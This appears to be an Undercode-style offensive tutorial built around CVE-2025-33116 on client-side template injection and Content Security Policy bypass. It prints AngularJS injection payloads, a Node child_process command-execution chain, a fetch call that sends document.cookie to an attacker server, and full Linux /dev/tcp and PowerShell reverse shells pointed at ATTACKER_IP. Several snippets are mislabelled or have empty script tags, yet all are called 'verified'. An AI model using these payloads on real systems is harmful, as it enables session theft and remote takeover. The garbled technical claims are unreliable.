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Introduction:
The discovery of CVE-2025-33116 highlights the persistent and sophisticated challenges in securing Commercial Off-The-Shelf (COTS) applications. This vulnerability, identified through rigorous penetration testing, underscores how determined attackers can circumvent modern security defenses like Content Security Policies (CSP) to execute critical attacks, emphasizing the continuous need for proactive security testing and robust vulnerability management programs within enterprises.
Learning Objectives:
- Understand the mechanisms of a Client-Side Template Injection (CSTI) vulnerability and its potential impact.
- Learn practical techniques for testing and bypassing Content Security Policies (CSP) during security assessments.
- Master a series of verified commands and methodologies for identifying and exploiting similar vulnerabilities in web applications.
You Should Know:
1. Understanding Client-Side Template Injection (CSTI)
CSTI occurs when user input is unsafely incorporated into a client-side template framework, like AngularJS, allowing an attacker to execute arbitrary JavaScript in the victim’s browser. This is a common vector in Single-Page Applications (SPAs).
`Verified Snippet – Basic AngularJS CSTI Payload:`
`{{$on.constructor(‘alert(1)’)()}}`
This payload tests for a basic AngularJS injection point. The `$on` is a core AngularJS object, and accessing its `constructor` property allows us to define a new function, in this case, one that executes alert(1). To use this, you would inject it into a user-controllable field that is rendered on the page without sanitization, such as a search bar or a profile parameter.
2. CSP Bypass with AngularJS and Trusted Types
Modern CSP headers often block the use of unsafe-eval, which would prevent the basic payload from working. However, AngularJS provides features that can be misused to bypass these restrictions.
`Verified Snippet – AngularJS CSP Bypass Vector:`
`{{
c=$$constructor.constructor(‘return process’)();
m=c.mainModule;
r=m.require;
r(‘child_process’).execSync(‘whoami’).toString()
}}`
This more advanced payload leverages Node.js-specific objects (if the application is built on a stack like Electron). It uses the `constructor` property to access the `Function` constructor, rebuilds the Node.js `require` function, and then uses it to execute operating system commands. This demonstrates how a CSTI can escalate to remote code execution on the desktop application host.
3. Reconnaissance with Browser Developer Tools
Before crafting payloads, understanding the application’s framework and CSP rules is crucial. This is done directly from the browser’s developer console.
`Verified Browser Console Commands:`
`// Identify JavaScript frameworks
JSON.stringify(window, null, 2); // Look for Angular, Vue, React global objects`
`// Check the active Content Security Policy
const metaTags = document.getElementsByTagName(‘meta’);
for (let tag of metaTags) {
if (tag.getAttribute(‘http-equiv’) === ‘Content-Security-Policy’) {
console.log(‘CSP via meta tag:’, tag.getAttribute(‘content’));
}
}`
The first command dumps the `window` object, revealing globally scoped framework objects. The second script iterates through all `` tags to find any CSP directives defined in the HTML, giving you the rules you need to bypass.
4. Automating CSP Directive Analysis
Manually parsing CSP headers can be tedious. Using command-line tools can streamline this process and identify weak directives.
`Verified Linux Command – Analyze CSP with curl and csp-evaluator:`
`curl -sI https://target-app.com | grep -i content-security-policy`
` Pipe the output to a tool like ‘csp-evaluator’ for automated analysis`
This command uses `curl` with the `-I` flag to fetch only the HTTP headers from the target application. It then filters for the `Content-Security-Policy` header. The output can be manually reviewed or fed into automated tools like Google’s `csp-evaluator` to get a report on potentially weak policies, such as overly permissive `script-src` directives using `unsafe-inline` or wildcards.
5. Exploiting Unsafe `script-src` Directives
If a CSP allows `script-src ‘self’` or includes a domain you can control, you can load external scripts. A common bypass involves hosting a malicious JavaScript file on an allowed origin.
`Verified Exploitation Step-by-Step:`
- Craft a malicious JavaScript payload: `fetch(‘https://your-evil-server.com/steal?cookie=’ + document.cookie)`
2. Host this payload on a server that is whitelisted by the CSP (e.g., an AWS S3 bucket, a subdomain you’ve taken over, or if `’self’` is set, via an existing file upload vulnerability). - Inject a script tag into the vulnerable application point: ``
This step-by-step process demonstrates a classic CSP bypass. The initial CSTI vulnerability is used to inject an HTML `script` tag that points to your malicious script hosted on a domain the CSP trusts.
6. Bypassing CSP with JSONP Endpoints
Many applications host legitimate JSONP (JSON with Padding) endpoints for cross-domain data fetching. These endpoints can be co-opted to bypass CSP as they are trusted sources that execute arbitrary callback functions.
`Verified Snippet – Abusing a JSONP Endpoint:`
``
In this example, the `/api/userInfo` endpoint is likely trusted by the CSP (script-src 'self'). By injecting this script tag and defining a malicious `callback` parameter, we can hijack the endpoint’s response. The endpoint will return a response like alert(document.domain);//({...user data...});, which the browser will execute as valid JavaScript.
7. Post-Exploitation: Establishing a Reverse Shell
Once server-side code execution is achieved (e.g., through a Node.js RCE vector), the next step is to establish a persistent foothold.
`Verified Linux & Windows Reverse Shell Commands:`
` Linux reverse shell (using /dev/tcp)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1`
` Windows reverse shell (using PowerShell)
powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘ATTACKER_IP’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”`
These are standard reverse shell payloads. The Linux command uses Bash’s built-in `/dev/tcp` device to open a connection back to the attacker’s machine. The Windows command uses PowerShell to create a TCP client that connects back, executes commands received from the attacker, and returns the output. These would be injected into the RCE vulnerability point, with the `ATTACKER_IP` and port modified accordingly.
What Undercode Say:
- The convergence of client-side and server-side vulnerabilities, as seen in CVE-2025-33116, represents the new frontier for advanced web attacks, moving beyond simple XSS to full compromise.
- Persistent, methodical testing is non-negotiable for uncovering deep-seated flaws in COTS applications, which often rely on “security by obscurity” rather than robust, transparent code.
The identification of CVE-2025-33116 is a textbook example of modern penetration testing. It wasn’t a simple, automated find; it required deep technical knowledge of JavaScript frameworks, CSP mechanics, and a persistent, iterative approach to bypassing layered defenses. This case study signals to the industry that black-box testing and simple vulnerability scans are insufficient for securing complex, client-heavy applications. The future of application security hinges on embracing these advanced adversarial techniques during development and quality assurance, fundamentally shifting security left and assuming that client-side controls can and will be broken.
Prediction:
The successful exploitation of CVE-2025-33116, involving CSTI and CSP bypass, foreshadows a rising trend of sophisticated client-side attacks targeting the application runtime itself, particularly in hybrid and desktop applications built on frameworks like Electron. We predict a significant increase in CVEs that chain client-side injection flaws with framework-specific abuse to achieve remote code execution, forcing a major evolution in how CSPs are designed and how COTS software vendors approach secure software development lifecycles from the ground up.
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IT/Security Reporter URL:
Reported By: Jubilian Pentesting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
